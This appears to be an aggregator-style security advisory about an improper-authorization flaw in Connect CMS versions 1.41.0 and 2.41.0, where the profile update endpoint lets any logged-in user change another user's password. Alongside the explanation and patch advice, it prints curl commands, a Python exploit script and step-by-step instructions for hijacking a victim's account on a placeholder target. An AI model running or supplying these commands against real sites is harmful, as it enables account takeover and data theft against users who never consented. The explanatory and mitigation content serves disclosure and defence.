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The vulnerability stems from a missing ownership check in the My Page profile update endpoint. When an authenticated user submits a profile update request (e.g., via POST to /mypage/profile/update), the application processes the parameters—such as `user_id` or password—without verifying that the session owner matches the target user ID. Because the controller uses a shared update logic that accepts a user identifier from the request body or URL, an attacker can simply supply a different user ID to modify another account’s profile data, including the password hash. The flaw exists in both the 1.x and 2.x branches due to inadequate server-side validation; client-side restrictions are bypassable. Exploitation requires only basic authentication and knowledge of a victim’s user ID. Successful modification of the password leads to full account takeover, and combined with existing privileges, lateral movement or privilege escalation is possible. The issue was introduced in the design of the profile update handler and remained until the addition of explicit owner verification. Patches add a middleware that compares the session user ID with the target user ID before executing any write operation.
Platform: Connect CMS
Version: 1.41.0, 2.41.0
Vulnerability : Improper Authorization
Severity: High
date: 2026-03-23
Prediction: Patched Mar 23
What Undercode Say:
Identify vulnerable endpoints with a simple check curl -X POST https://target.com/mypage/profile/update \ -H "Cookie: session=attacker_session" \ -d "user_id=victim_id&password=NewPassword123&[email protected]" Check if the update succeeded by attempting login curl -X POST https://target.com/login \ -d "username=victim_id&password=NewPassword123"
Example Python snippet to automate exploitation
import requests
s = requests.Session()
s.post('https://target.com/login', data={'username': 'attacker', 'password': 'pwn'})
payload = {'user_id': 'victim_id', 'password': 'Owned123'}
r = s.post('https://target.com/mypage/profile/update', data=payload)
print(r.status_code, r.text)
How Exploit:
1. Authenticate as any valid user.
2. Intercept the profile update request.
- Replace the user identifier (e.g.,
user_id,uid, or hidden field) with the victim’s ID. - Set a new password or change profile details.
- Submit the request; the server applies changes to the victim’s account.
Protection from this CVE:
- Update to Connect CMS 1.41.1 or 2.41.1 immediately.
- If patching is delayed, implement a middleware to enforce that `session.user_id == request.params.user_id` before any profile write operation.
- Audit all endpoints that modify user data to ensure ownership checks are present.
Impact:
Arbitrary account takeover. An authenticated attacker can modify any user’s profile, change passwords, and gain full control over those accounts. This can lead to privilege escalation, data theft, and further compromise of the CMS.
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Sources:
Reported By: github.com
Extra Source Hub:
Undercode
